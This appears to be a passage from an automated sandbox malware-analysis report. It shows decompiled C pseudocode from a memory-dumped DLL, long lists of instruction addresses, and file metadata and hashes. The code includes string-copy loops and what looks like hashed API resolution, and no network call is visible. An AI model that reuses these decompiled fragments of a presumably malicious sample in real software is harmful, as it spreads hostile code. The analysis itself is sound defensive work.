														_t397 =  *_t693;
														_v68 = _t397;
														if(_t397 == 0) {
															 *_t546 = 0;
														} else {
															if(_t546 != 0) {
																_t403 =  *_t397;
																 *_t546 = _t403;
																if(_t403 != 0) {
																	_v56 = _t693;
																	_t404 = 0;
																	_v76 = _t614;
																	_v64 = _t673;
																	_t697 = _v68;
																	while(1) {
																		_t404 = _t404 + 1;
																		_t616 =  *((char*)(_t697 + _t404 * 2 - 1));
																		 *((char*)(_t546 + _t404 * 2 - 1)) = _t616;
																		if(_t616 == 0) {
																			break;
																		}
																		_t617 =  *((char*)(_t697 + _t404 * 2));
																		 *((char*)(_t546 + _t404 * 2)) = _t617;
																		if(_t617 != 0) {
																			continue;
																		}
																		break;
																	}
																	_t693 = _v56;
																	_t614 = _v76;
																	_t673 = _v64;
																}
															}
															_push(1);
															_push(_v68);
															_v80 = _t546;
															_v76 = _t614;
															E6E6610B0();
															_t614 = _v76;
															_t546 = _v80;
															_t723 = _t723 + 8;
														}
														 *(_t693 + 4) = _v72;
														 *_t693 = _t546;
													} else {
														_t546 = 0;
													}
													if(_t546 != 0) {
														_v64 = _t673;
														_v56 = _t693;
														_t696 = 0;
														_t678 = _v60;
														while(1) {
															_t696 = _t696 + 1;
															_t400 =  *((char*)(_t696 + _t614 - 1));
															 *((char*)(_t696 + _t546 - 1)) = _t400;
															if(_t678 != 0 && _t696 == _t678) {
																break;
															}
															if(_t400 != 0) {
																continue;
															} else {
																_t693 = _v56;
																_t673 = _v64;
															}
															goto L251;
														}
														_t693 = _v56;
														_t673 = _v64;
														 *((char*)(_t696 + _t546)) = 0;
													}
												}
											}
											L251:
											_t612 = _v40;
											 *( *((intOrPtr*)(_t612 + 4)) + _t508 - 4) = _t693;
										} while (_t673 <  *_t612);
										_t505 = _t612;
										_t371 = _v52;
										goto L253;
									}
								} else {
									L198:
									_v52 = 0;
									_v44 = 0;
									_t604 = _v48;
								}
							}
						}
					}
					_push(4);
					_push(_t604);
					E6E6610B0();
					_v48 = 0;
					return _t505;
				}
				L301:
			}

0x6e673ec9
0x6e673ecc
0x6e673ece
0x6e673ed1
0x6e674b36
0x6e673ed7
0x6e673ed7
0x6e674c80
0x6e674c8c
0x6e674c90
0x00000000
0x6e674c92
0x00000000
0x6e674c92
0x6e673edd
0x6e673edf
0x6e673ee3
0x6e673ee7
0x6e673eeb
0x6e673ef3
0x6e673ef7
0x6e673efd
0x6e673f03
0x6e673f0b
0x6e673f0f
0x6e673f13
0x6e673f17
0x6e674c77
0x6e674c79
0x6e673f1d
0x6e673f1f
0x6e673f22
0x6e673f3a
0x6e673f3e
0x6e673f4a
0x6e673f4f
0x6e673f4f
0x6e673f54
0x6e673f58
0x6e673f5e
0x00000000
0x00000000
0x6e673f64
0x6e673f69
0x00000000
0x6e673f6b
0x6e673f70
0x6e673f84
0x6e673f84
0x00000000
0x6e673f72
0x6e673f72
0x6e673f7c
0x6e673f82
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e673f82
0x00000000
0x6e673f72
0x6e673f70
0x00000000
0x6e673f69
0x6e674c70
0x6e674c73
0x00000000
0x6e673f24
0x6e673f26
0x6e673f28
0x6e673f2b
0x6e673f35
0x6e673f38
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e673f38
0x6e674c61
0x6e674c63
0x6e673f89
0x6e673f89
0x6e673f8e
0x6e673f90
0x6e673f99
0x6e673f99
0x6e673f9e
0x00000000
0x00000000
0x6e673fa9
0x00000000
0x00000000
0x00000000
0x6e673fa9
0x6e674c53
0x6e674c56
0x00000000
0x6e674c5c
0x00000000
0x6e674c5c
0x00000000
0x6e674c56
0x6e674c69
0x6e674c69
0x6e674c69
0x6e674c63
0x6e673f22
0x6e673fab
0x6e673fad
0x6e673fae
0x6e673fb2
0x6e673fb8
0x6e673fc0
0x6e673fc1
0x6e673fc5
0x6e673fca
0x6e673fce
0x6e673fd2
0x6e673fd6
0x6e673fe0
0x6e673fe3
0x6e673fe3
0x6e673fe8
0x00000000
0x00000000
0x6e673ff3
0x00000000
0x00000000
0x00000000
0x6e673ff3
0x6e674c36
0x6e674c37
0x6e674c38
0x6e674c3d
0x00000000
0x6e674c43
0x00000000
0x6e674c43
0x00000000
0x6e674c3d
0x6e673ff5
0x6e673ff5
0x6e673ff9
0x6e673ff9
0x6e673fff
0x6e67417f
0x6e67417f
0x6e674186
0x6e674188
0x6e67418b
0x6e674005
0x6e674007
0x6e674c2f
0x6e67400d
0x6e67400f
0x6e674012
0x6e674026
0x6e67402a
0x6e674036
0x6e67403b
0x6e67403b
0x6e674040
0x6e674044
0x6e67404a
0x00000000
0x00000000
0x6e674050
0x6e674055
0x00000000
0x6e674057
0x6e67405c
0x6e67406c
0x6e67406c
0x00000000
0x6e67405e
0x6e674064
0x6e67406a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e67406a
0x6e67405e
0x6e67405c
0x00000000
0x6e674055
0x6e674c25
0x6e674c28
0x6e674014
0x6e674016
0x6e674018
0x6e67401b
0x6e674021
0x6e674024
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674024
0x6e67401b
0x6e674012
0x6e674071
0x6e674075
0x6e67407a
0x6e67407d
0x6e674081
0x6e674087
0x6e674087
0x6e67408d
0x00000000
0x6e67409d
0x6e67409f
0x6e6740a1
0x6e6740a6
0x6e6740a9
0x6e6740bd
0x6e6740c1
0x6e6740cd
0x6e6740d3
0x6e6740d3
0x6e6740d8
0x6e6740dc
0x6e6740e2
0x00000000
0x00000000
0x6e6740e8
0x6e6740ed
0x00000000
0x6e6740ef
0x6e6740f5
0x6e674106
0x6e674106
0x00000000
0x6e6740f7
0x6e6740fd
0x6e674104
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674104
0x6e6740f7
0x6e6740f5
0x00000000
0x6e6740ed
0x6e674b40
0x6e674b43
0x6e6740ab
0x6e6740ad
0x6e6740af
0x6e6740b2
0x6e6740b8
0x6e6740bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6740bb
0x6e6740b2
0x6e6740a9
0x6e67410b
0x6e674110
0x6e674116
0x6e67411b
0x6e67412b
0x6e67412e
0x6e674134
0x6e67413c
0x6e67413c
0x6e674149
0x6e67414a
0x6e674157
0x6e674159
0x6e67415c
0x6e67415e
0x6e674160
0x6e674163
0x6e674163
0x6e674164
0x6e674169
0x6e67416f
0x00000000
0x00000000
0x6e67417b
0x00000000
0x00000000
0x6e67417d
0x00000000
0x6e67417b
0x6e674b37
0x6e67411d
0x6e67411d
0x6e67411d
0x6e67411b
0x6e67408d
0x6e67418e
0x6e674192
0x6e674199
0x6e67419d
0x6e6741a1
0x6e6741a9
0x6e674311
0x6e674313
0x6e674313
0x6e67431a
0x6e67431c
0x6e674323
0x6e674327
0x6e67432a
0x6e67432e
0x6e67437a
0x6e674330
0x6e674335
0x6e674337
0x6e67433b
0x6e67433e
0x6e674342
0x6e674344
0x6e674347
0x6e674349
0x6e67434b
0x6e67434b
0x6e67434c
0x6e674351
0x6e674357
0x00000000
0x00000000
0x6e674359
0x6e67435d
0x6e674362
0x00000000
0x00000000
0x00000000
0x6e674362
0x6e674364
0x6e674364
0x6e674367
0x6e674367
0x6e674369
0x6e67436b
0x6e67436c
0x6e674371
0x6e674371
0x6e674381
0x6e674383
0x6e674383
0x6e6741b8
0x6e6741ba
0x6e6741bd
0x6e6741d5
0x6e6741d9
0x6e6741e5
0x6e6741eb
0x6e6741eb
0x6e6741f0
0x6e6741f4
0x6e6741fa
0x00000000
0x00000000
0x6e674200
0x6e674205
0x00000000
0x6e674207
0x6e67420d
0x6e674222
0x6e674222
0x6e67420f
0x6e67420f
0x6e674219
0x6e674220
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674220
0x00000000
0x6e67420f
0x6e67420d
0x00000000
0x6e674205
0x6e674b6c
0x6e674b6f
0x00000000
0x6e6741bf
0x6e6741c1
0x6e6741c3
0x6e6741c6
0x6e6741d0
0x6e6741d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6741d3
0x6e674b53
0x6e674b56
0x6e674b64
0x6e674b64
0x6e674b56
0x6e674227
0x6e67422c
0x6e674232
0x6e674238
0x6e67424e
0x6e674252
0x6e674258
0x6e674260
0x6e674260
0x6e67426e
0x6e674271
0x6e674275
0x6e67427b
0x6e67427d
0x6e674280
0x6e674284
0x6e6742d5
0x6e674286
0x6e674288
0x6e67428a
0x6e67428d
0x6e674291
0x6e674295
0x6e674299
0x6e67429c
0x6e67429e
0x6e67429e
0x6e67429f
0x6e6742a4
0x6e6742aa
0x00000000
0x00000000
0x6e6742ac
0x6e6742b0
0x6e6742b5
0x00000000
0x00000000
0x00000000
0x6e6742b5
0x6e6742b7
0x6e6742bb
0x6e6742bb
0x6e6742be
0x6e6742be
0x6e6742c0
0x6e6742c2
0x6e6742c3
0x6e6742c7
0x6e6742cc
0x6e6742d0
0x6e6742d0
0x6e6742dc
0x6e6742df
0x6e67423a
0x6e67423a
0x6e67423a
0x6e6742e3
0x6e6742f1
0x6e6742f3
0x6e6742f3
0x6e6742f4
0x6e6742f9
0x6e6742ff
0x00000000
0x00000000
0x6e67430b
0x00000000
0x00000000
0x6e67430d
0x00000000
0x6e67430b
0x6e674b4a
0x6e674b4a
0x6e6742e3
0x6e6741a9
0x6e67438a
0x6e67438a
0x6e67438c
0x6e67438d
0x6e674392
0x6e674395
0x6e674399
0x6e67439b
0x6e6743a5
0x6e6743a7
0x6e6743a9
0x6e6743b1
0x6e6743b7
0x6e674c04
0x6e674c18
0x6e674c18
0x6e674c1c
0x6e674c06
0x6e674c06
0x6e674c06
0x6e674c0a
0x6e674c0e
0x6e674c10
0x00000000
0x6e674c10
0x6e6743bd
0x6e6743bd
0x6e6743bf
0x6e6743c7
0x6e6743c9
0x6e6743cd
0x6e6743d1
0x6e6743d5
0x6e6743dd
0x6e6743e1
0x6e6743e9
0x6e6743ec
0x6e674404
0x6e674408
0x6e674414
0x6e674418
0x6e67441e
0x6e67441e
0x6e674423
0x6e674427
0x6e67442d
0x00000000
0x00000000
0x6e674433
0x6e674438
0x00000000
0x6e67443a
0x6e67443a
0x6e674444
0x00000000
0x6e674446
0x6e674446
0x6e674450
0x6e674457
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674457
0x00000000
0x6e674446
0x6e674444
0x00000000
0x6e674438
0x6e674be6
0x6e674be8
0x6e674beb
0x6e674bef
0x00000000
0x6e6743ee
0x6e6743f0
0x6e6743f2
0x6e6743f5
0x6e6743ff
0x6e674402
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674402
0x6e674bf1
0x6e674bf3
0x6e674459
0x6e674459
0x6e674461
0x6e674466
0x6e674469
0x6e67446d
0x6e674473
0x6e674478
0x6e674483
0x6e674489
0x6e674498
0x6e67449d
0x6e67449f
0x6e6744a3
0x6e6744a8
0x6e6744ab
0x6e6744af
0x6e6744af
0x6e6744b3
0x6e6744b7
0x6e6744cd
0x6e6744d2
0x6e6744d2
0x6e6744d5
0x6e6744dc
0x6e6744de
0x6e6744e3
0x6e6746f5
0x6e6744e9
0x6e6744eb
0x6e6744ed
0x6e6744f2
0x6e674685
0x6e67468c
0x6e674690
0x6e674693
0x6e674697
0x6e6746e3
0x6e674699
0x6e67469e
0x6e6746a0
0x6e6746a4
0x6e6746a7
0x6e6746ab
0x6e6746ad
0x6e6746b1
0x6e6746b3
0x6e6746b5
0x6e6746b5
0x6e6746b6
0x6e6746bb
0x6e6746c1
0x00000000
0x00000000
0x6e6746c3
0x6e6746c7
0x6e6746cc
0x00000000
0x00000000
0x00000000
0x6e6746cc
0x6e6746ce
0x6e6746ce
0x6e6746ab
0x6e6746d2
0x6e6746d4
0x6e6746d5
0x6e6746da
0x6e6746da
0x6e6746ea
0x6e6746ec
0x6e674501
0x6e674503
0x6e674506
0x6e674528
0x6e67452c
0x6e674538
0x6e67453e
0x6e674542
0x6e674544
0x6e674544
0x6e674549
0x6e67454d
0x6e674553
0x00000000
0x00000000
0x6e674559
0x6e67455e
0x00000000
0x6e674560
0x6e674560
0x6e67456c
0x6e674582
0x6e674582
0x6e67456e
0x6e67456e
0x6e674570
0x6e67457a
0x6e674580
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674580
0x6e674b84
0x6e674b84
0x6e67456c
0x00000000
0x6e67455e
0x6e674b8d
0x6e674b92
0x6e674508
0x6e674508
0x6e674512
0x6e674516
0x6e674519
0x6e674523
0x6e674526
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e674526
0x6e674b9b
0x6e674b9b
0x6e67458a
0x6e674593
0x6e674599
0x6e67459e
0x6e6745b7
0x6e6745ba
0x6e6745be
0x6e6745c4
0x6e6745cc
0x6e6745cc
0x6e6745d8
0x6e6745db
0x6e6745df
0x6e6745e0
0x6e6745e5
0x6e6745e9
0x6e6745ec
0x6e6745f0
0x6e67463c
0x6e6745f2
0x6e6745f7
0x6e6745f9
0x6e6745fb
0x6e6745fe
0x6e674602
0x6e674604
0x6e674607
0x6e674609
0x6e67460d
0x6e67460f
0x6e67460f
0x6e674610
0x6e674615
0x6e67461b
0x00000000
0x00000000
0x6e67461d
0x6e674621
0x6e674626
0x00000000
0x00000000
0x00000000
0x6e674626
0x6e674628
0x6e67462b
0x6e67462b
0x6e674602
0x6e67462f
0x6e674631
0x6e674632
0x6e674637
0x6e674637
0x6e674647
0x6e67464a
0x6e6745a0
0x6e6745a0
0x6e6745a0
0x6e674651
0x6e674657
0x6e67465b
0x6e67465d
0x6e674661
0x6e674665
0x6e674665
0x6e674666
0x6e67466b
0x6e674671
0x00000000
0x00000000
0x6e67467d
0x00000000
0x6e67467f
0x6e67467f
0x6e67467f
0x00000000
0x6e67467d
0x6e674b77
0x6e674b7b
0x6e674b7b
0x6e674651
0x6e6744f2
0x6e6746f7
0x6e674703
0x6e67470c
0x6e67470d
0x6e674711
0x00000000
0x6e674bf9
0x6e674bf3
0x6e6743ec
0x6e674713
0x6e674713
0x6e67471d
0x6e674721
0x6e674725
0x6e67472a
0x6e674a96
0x6e674a98
0x6e674a9c
0x6e674aa0
0x6e674aa6
0x6e674aaa
0x6e674aac
0x6e674bd2
0x6e674ab2
0x6e674ab4
0x6e674ab8
0x6e674aba
0x6e674abc
0x6e674abc
0x6e674ac1
0x6e674ac3
0x6e674ac5
0x6e674aca
0x6e674aca
0x6e674ace
0x6e674ad4
0x6e674ad6
0x6e674ad8
0x6e674add
0x6e674add
0x6e674ae1
0x6e674ae2
0x6e674ae6
0x6e674ae8
0x6e674aea
0x6e674aee
0x6e674aee
0x6e674aee
0x6e674af2
0x6e674af7
0x6e674af9
0x6e674aff
0x6e674b01
0x6e674b03
0x6e674b08
0x6e674b08
0x6e674aff
0x6e674af7
0x6e674730
0x6e674730
0x6e674736
0x6e674738
0x6e67473d
0x6e67479a
0x6e67479a
0x6e67473f
0x6e674741
0x6e674744
0x6e674746
0x6e674bdc
0x6e67474c
0x6e67474c
0x6e674750
0x6e674752
0x6e674754
0x6e674754
0x6e674759
0x6e67475b
0x6e67475d
0x6e674762
0x6e674762
0x6e674765
0x6e67476b
0x6e67476d
0x6e67476f
0x6e674774
0x6e674774
0x6e674777
0x6e674778
0x6e67477c
0x6e674780
0x6e674780
0x6e674780
0x6e674784
0x6e674789
0x6e67478b
0x6e674791
0x6e674793
0x6e674795
0x00000000
0x6e674795
0x6e674791
0x6e674789
0x6e67479d
0x6e67479f
0x6e6747a0
0x6e6747a5
0x6e6747a8
0x6e6747ac
0x6e6747b5
0x6e6747d6
0x6e6747e0
0x6e6747e4
0x6e6747e7
0x6e6747ec
0x6e6747ef
0x6e6747f3
0x6e6747f6
0x6e6747fa
0x00000000
0x6e6747fc
0x6e6747fc
0x6e674800
0x6e674802
0x6e674806
0x6e674806
0x6e674808
0x6e67480e
0x6e674810
0x6e674815
0x6e674a74
0x6e674a76
0x6e67481b
0x6e67481d
0x6e67481e
0x6e674826
0x6e674828
0x6e674831
0x6e674835
0x6e67483c
0x6e67483c
0x6e674842
0x6e674844
0x6e674847
0x6e67484b
0x6e674a04
0x6e674a06
0x6e674a0b
0x6e674a0f
0x6e674a12
0x6e674a16
0x6e674a63
0x6e674a18
0x6e674a1c
0x6e674a1e
0x6e674a20
0x6e674a23
0x6e674a27
0x6e674a29
0x6e674a2d
0x6e674a2f
0x6e674a33
0x6e674a35
0x6e674a35
0x6e674a36
0x6e674a3b
0x6e674a41
0x00000000
0x00000000
0x6e674a43
0x6e674a47
0x6e674a4c
0x00000000
0x00000000
0x00000000
0x6e674a4c
0x6e674a4e
0x6e674a52
0x6e674a52
0x6e674a27
0x6e674a56
0x6e674a58
0x6e674a59
0x6e674a5e
0x6e674a5e
0x6e674a69
0x6e674a6b
0x6e67485a
0x6e67485c
0x6e67485f
0x6e674881
0x6e674885
0x6e674891
0x6e674896
0x6e67489a
0x6e67489e
0x6e6748a0
0x6e6748a0
0x6e6748a5
0x6e6748a9
0x6e6748af
0x00000000
0x00000000
0x6e6748b5
0x6e6748ba
0x00000000
0x6e6748bc
0x6e6748bc
0x6e6748c0
0x6e6748cc
0x6e6748e4
0x6e6748e4
0x6e6748ce
0x6e6748ce
0x6e6748d2
0x6e6748dc
0x6e6748e2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e6748e2
0x00000000
0x6e6748d2
0x6e6748cc
0x00000000
0x6e6748ba
0x6e674bc0
0x6e674bc5
0x6e674bc9
0x6e674861
0x6e674861
0x6e67486b
0x6e67486f
0x6e674872
0x6e67487c
0x6e67487f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e67487f
0x6e674bb7
0x6e674bb7
0x6e674bb7
0x6e6748ec
0x6e6748fb
0x6e674900
0x6e674913
0x6e674916
0x6e67491a
0x6e67491f
0x6e674927
0x6e674927
0x6e674934
0x6e674937
0x6e67493b
0x6e67493c
0x6e674940
0x6e674945
0x6e674949
0x6e67494b
0x6e67494e
0x6e674950
0x6e674956
0x6e6749bc
0x6e674958
0x6e67495a
0x6e67495c
0x6e67495f
0x6e674963
0x6e674965
0x6e674969
0x6e67496b
0x6e67496f
0x6e674973
0x6e674977
0x6e674977
0x6e674978
0x6e67497d
0x6e674983
0x00000000
0x00000000
0x6e674985
0x6e674989
0x6e67498e
0x00000000
0x00000000
0x00000000
0x6e67498e
0x6e674990
0x6e674994
0x6e674998
0x6e674998
0x6e674963
0x6e67499c
0x6e67499e
0x6e6749a2
0x6e6749a6
0x6e6749aa
0x6e6749af
0x6e6749b3
0x6e6749b7
0x6e6749b7
0x6e6749c3
0x6e6749c6
0x6e674902
0x6e674902
0x6e674902
0x6e6749ca
0x6e6749d2
0x6e6749d6
0x6e6749da
0x6e6749dc
0x6e6749e0
0x6e6749e0
0x6e6749e1
0x6e6749e6
0x6e6749ec
0x00000000
0x00000000
0x6e6749f8
0x00000000
0x6e6749fa
0x6e6749fa
0x6e6749fe
0x6e6749fe
0x00000000
0x6e6749f8
0x6e674ba6
0x6e674baa
0x6e674bae
0x6e674bae
0x6e6749ca
0x6e67484b
0x6e674a7d
0x6e674a7d
0x6e674a84
0x6e674a88
0x6e674a90
0x6e674a92
0x00000000
0x6e674a92
0x6e6747b7
0x6e6747b7
0x6e6747b9
0x6e6747bd
0x6e6747c1
0x6e6747c1
0x6e6747b5
0x6e67472a
0x6e6743b7
0x6e674b0c
0x6e674b0e
0x6e674b0f
0x6e674b17
0x6e674b2a
0x6e674b2a
0x00000000

Strings

, xrefs: 6E673EF7

Memory Dump Source

Source File: 00000000.00000002.838096083.000000006E651000.00000020.00020000.sdmp, Offset: 6E650000, based on PE: true

Associated: 00000000.00000002.837594684.000000006E650000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.843186308.000000006E685000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.844190856.000000006E68B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.844693354.000000006E68C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3688684798
Opcode ID: 96b01cb81cc36efec5f698e7e68edff393887c0785d7b9c210716a6ba94b0661
Instruction ID: 4ecb9ba957f384348af52034b3d365fadc001125231e309d66d77d0d95b65358
Opcode Fuzzy Hash: 96b01cb81cc36efec5f698e7e68edff393887c0785d7b9c210716a6ba94b0661
Instruction Fuzzy Hash: 779218706183438FDB25CFA9C49432ABBE1AFC6314F148A6DE8A5DB355D7B4D842C782

Uniqueness

Uniqueness Score: -1.00%

Function 6E6762F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E6E6762F0(intOrPtr* __ecx, signed int __edx, void* __eflags, char _a4) {
				intOrPtr* _v24;
				char _v32;
				intOrPtr _v36;
				unsigned int _v40;
				signed int _v44;
				signed int _v52;
				char _v56;
				unsigned int _v60;
				unsigned int _v64;
				signed int _v68;
				signed int _t264;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t269;
				void* _t272;
				char _t278;
				char _t279;
				char* _t281;
				signed int _t282;
				char _t283;
				void* _t287;
				char _t290;
				char _t291;
				char* _t293;
				signed int _t294;
				char _t295;
				signed int _t304;
				intOrPtr* _t306;
				intOrPtr* _t308;
				signed int _t310;
				signed int _t311;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t317;
				signed int _t318;
				char* _t320;
				char* _t321;
				unsigned int _t322;
				unsigned int _t327;
				signed int _t329;
				signed int _t330;
				signed int _t332;
				signed int _t333;
				signed int _t336;
				signed int _t338;
				signed int _t339;
				signed int _t342;
				char* _t343;
				char* _t344;
				signed int _t346;
				signed int _t348;
				signed int _t349;
				signed int _t352;
				char* _t353;
				char* _t357;
				signed int _t359;
				signed int _t361;
				signed int _t362;
				signed int _t365;
				unsigned int _t375;
				signed int _t377;
				signed int _t381;
				signed int _t387;
				signed int _t389;
				signed int _t390;
				signed int _t395;
				signed int _t407;
				signed int _t417;
				char* _t418;
				char _t420;
				signed int _t421;
				void* _t431;
				char _t432;
				char _t434;
				char _t435;
				char* _t436;
				char _t438;
				char* _t439;
				char _t440;
				signed int _t441;
				void* _t451;
				char _t452;
				char _t454;
				char _t455;
				char* _t456;
				char _t458;
				char _t460;
				char _t461;
				signed int _t463;
				signed int _t465;
				void* _t469;
				char _t471;
				char _t472;
				signed int _t476;
				void* _t478;
				char _t480;
				char _t481;
				void* _t482;
				char _t484;
				char _t485;
				char _t489;
				char _t490;
				char _t491;
				char _t492;
				char _t493;
				char _t494;
				signed int _t497;
				char* _t499;
				void* _t505;
				unsigned int _t506;
				void* _t512;
				char* _t514;
				void* _t520;
				void* _t521;
				void* _t522;
				void* _t523;
				signed int _t524;
				void* _t531;
				void* _t537;
				void* _t543;
				signed int _t544;
				signed int _t548;
				void* _t551;
				void* _t552;
				void* _t553;

				_t306 = __ecx;
				_push(0x40);
				_t496 = __edx;
				 *__ecx = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				_t514 = E6E661030();
				_t551 = (_t548 & 0xfffffff0) - 0x34 + 4;
				_t320 =  *__ecx;
				if(_t320 == 0) {
					 *_t514 = 0;
				} else {
					if(_t514 != 0) {
						_t492 =  *_t320;
						 *_t514 = _t492;
						if(_t492 != 0) {
							_v68 = __edx;
							_t304 = 0;
							while(1) {
								_t304 = _t304 + 1;
								_t493 =  *((char*)(_t320 + _t304 * 2 - 1));
								 *((char*)(_t514 + _t304 * 2 - 1)) = _t493;
								if(_t493 == 0) {
									break;
								}
								_t494 =  *((char*)(_t320 + _t304 * 2));
								 *((char*)(_t514 + _t304 * 2)) = _t494;
								if(_t494 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
					}
					_push(1);
					_push(_t320);
					E6E6610B0();
					_t551 = _t551 + 8;
				}
				_v44 = 0;
				_push(0x40);
				 *_t306 = _t514;
				 *((intOrPtr*)(_t306 + 4)) = 0x40;
				_t264 = E6E661030();
				_t552 = _t551 + 4;
				_t321 = _v44;
				if(_t321 == 0) {
					 *_t264 = 0;
					_v40 = 0x40;
					_v44 = _t264;
					goto L18;
				} else {
					if(_t264 == 0) {
						_push(1);
						_push(_t321);
						E6E6610B0();
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_t520 = 0;
						_v44 = 0;
						goto L29;
					} else {
						_t489 =  *_t321;
						 *_t264 = _t489;
						if(_t489 != 0) {
							_v40 = 0;
							_t544 = 0;
							_v68 = _t496;
							while(1) {
								_t544 = _t544 + 1;
								_t490 =  *((char*)(_t321 + _t544 * 2 - 1));
								 *((char*)(_t264 + _t544 * 2 - 1)) = _t490;
								if(_t490 == 0) {
									break;
								}
								_t491 =  *((char*)(_t321 + _t544 * 2));
								 *((char*)(_t264 + _t544 * 2)) = _t491;
								if(_t491 != 0) {
									continue;
								}
								break;
							}
							_t496 = _v68;
						}
						_push(1);
						_push(_t321);
						_v64 = _t264;
						E6E6610B0();
						_t264 = _v64;
						_t552 = _t552 + 8;
						_v40 = 0x40;
						_v44 = _t264;
						L18:
						_t387 = _t264 & 0x0000000f;
						if(_t387 == 0) {
							L22:
							asm("pxor xmm0, xmm0");
							_t520 =  ~( ~_t387 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							while(1) {
								asm("movdqu xmm1, [eax+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb ecx, xmm1");
								if(_t321 != 0) {
									break;
								}
								_t387 = _t387 + 0x10;
								if(_t387 < _t520) {
									continue;
								} else {
									if(_t520 >= 0x7fffffff) {
										L28:
										_t520 = 0x7fffffff;
										goto L29;
									} else {
										while( *((char*)(_t520 + _t264)) != 0) {
											_t520 = _t520 + 1;
											if(_t520 < 0x7fffffff) {
												continue;
											} else {
												goto L28;
											}
											goto L30;
										}
										goto L250;
									}
								}
								goto L30;
							}
							asm("bsf esi, ecx");
							_t520 = _t520 + _t387;
							goto L250;
						} else {
							_t520 = 0;
							_t387 =  ~_t387 + 0x10;
							while( *((char*)(_t520 + _t264)) != 0) {
								_t520 = _t520 + 1;
								if(_t520 < _t387) {
									continue;
								} else {
									goto L22;
								}
								goto L30;
							}
							L250:
							if(_t520 != 0xfffffffe || _t264 == 0) {
								L29:
								_t322 = 0x40;
							} else {
								 *_t264 = 0;
								_t322 = _v40;
							}
							goto L30;
							L124:
							 *((char*)(_t269 + _t523)) = 0x64;
							_t417 = _v44;
							 *((char*)(_t523 + _t417 + 1)) = 0;
							if(_a4 == 0) {
								_v32 = _t496;
								_t497 = _v44;
								_v36 = _t497;
								_push(0x200);
								_t524 = E6E661030();
								_t553 = _t552 + 4;
								_v24 = _t306;
								_t272 = E6E6615C0(0x588ab3ea, 0x8a156a0e);
								if(_t272 == 0) {
									_t308 = _v24;
									if(_t524 == 0 ||  *_t524 == 0) {
										_t418 =  *_t308;
										if(_t418 != 0) {
											 *_t418 = 0;
										}
										if( *((intOrPtr*)(_t308 + 4)) < 0x40) {
											_push(0x40);
											_t499 = E6E661030();
											_t553 = _t553 + 4;
											_t344 =  *_t308;
											if(_t344 == 0) {
												 *_t499 = 0;
											} else {
												if(_t499 != 0) {
													_t420 =  *_t344;
													 *_t499 = _t420;
													if(_t420 != 0) {
														_v24 = _t308;
														_t421 = 0;
														while(1) {
															_t421 = _t421 + 1;
															_t278 =  *((char*)(_t344 + _t421 * 2 - 1));
															 *((char*)(_t499 + _t421 * 2 - 1)) = _t278;
															if(_t278 == 0) {
																break;
															}
															_t279 =  *((char*)(_t344 + _t421 * 2));
															 *((char*)(_t499 + _t421 * 2)) = _t279;
															if(_t279 != 0) {
																continue;
															}
															break;
														}
														_t308 = _v24;
													}
												}
												_push(1);
												_push(_t344);
												E6E6610B0();
												_t553 = _t553 + 8;
											}
											goto L225;
										}
									} else {
										_t346 = _t524 & 0x0000000f;
										if(_t346 == 0) {
											L184:
											asm("pxor xmm0, xmm0");
											_t505 =  ~( ~_t346 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											while(1) {
												asm("movdqu xmm1, [esi+ecx]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb edx, xmm1");
												if(_t417 != 0) {
													break;
												}
												_t346 = _t346 + 0x10;
												if(_t346 < _t505) {
													continue;
												} else {
													if(_t505 >= 0x7fffffff) {
														L190:
														_t505 = 0x7fffffff;
													} else {
														while( *((char*)(_t505 + _t524)) != 0) {
															_t505 = _t505 + 1;
															if(_t505 < 0x7fffffff) {
																continue;
															} else {
																goto L190;
															}
															goto L191;
														}
														goto L234;
													}
												}
												goto L191;
											}
											asm("bsf edi, edx");
											_t505 = _t505 + _t346;
											goto L234;
										} else {
											_t505 = 0;
											_t346 =  ~_t346 + 0x10;
											while( *((char*)(_t505 + _t524)) != 0) {
												_t505 = _t505 + 1;
												if(_t505 < _t346) {
													continue;
												} else {
													goto L184;
												}
												goto L191;
											}
											L234:
											if(_t505 == 0xffffffff) {
												_t436 =  *_t308;
												if(_t436 != 0) {
													 *_t436 = 0;
												}
											}
										}
										L191:
										_t216 = _t505 + 1; // 0x80000000
										_t348 =  <=  ? 0x40 : _t216;
										if(_t348 >  *((intOrPtr*)(_t308 + 4))) {
											_v64 = (_t348 >> 5 >> 0x1a) + _t348 >> 6;
											_t349 = _t348 & 0x8000003f;
											if(_t349 < 0) {
												_t349 = (_t349 - 0x00000001 | 0xffffffc0) + 1;
											}
											_t352 = _v64 + (0 | _t349 > 0x00000000) << 6;
											_v64 = _t352;
											_push(_t352);
											_t353 = E6E661030();
											_t553 = _t553 + 4;
											_t281 =  *_t308;
											if(_t281 == 0) {
												 *_t353 = 0;
											} else {
												if(_t353 != 0) {
													_t432 =  *_t281;
